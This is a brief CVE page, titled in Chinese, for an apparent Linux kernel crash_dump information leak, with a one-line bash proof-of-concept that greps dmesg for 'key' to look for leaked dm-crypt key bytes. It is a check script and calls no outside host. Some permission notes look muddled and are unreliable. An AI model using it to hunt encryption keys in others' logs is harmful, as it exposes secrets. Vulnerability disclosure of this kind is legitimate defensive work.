CVE-2026-31543: Linux内核crash_dump信息泄露漏洞

#!/bin/bash # PoC for CVE-2026-31543: Check for dm-crypt key leakage in kernel logs # This script demonstrates checking kernel logs for exposed key bytes. # Check if we have permission to read kernel logs (usually requires root or unprivileged_userns_clone=0 + kernel.dmesg_restrict=0) if [ -r /proc/kmsg ] || [ -r /var/log/kern.log ] || dmesg >/dev/null 2>&1; then echo "[*] Checking kernel logs for potential dm-crypt key leakage..." # Search for patterns related to key logging in the vulnerable function dmesg | grep -i "key" | head -n 5 echo "[!] If hex strings or key data appear above alongside 'read_key_from_user_keying', the system may be vulnerable." else echo "[-] Permission denied: Cannot read kernel logs to verify vulnerability." fi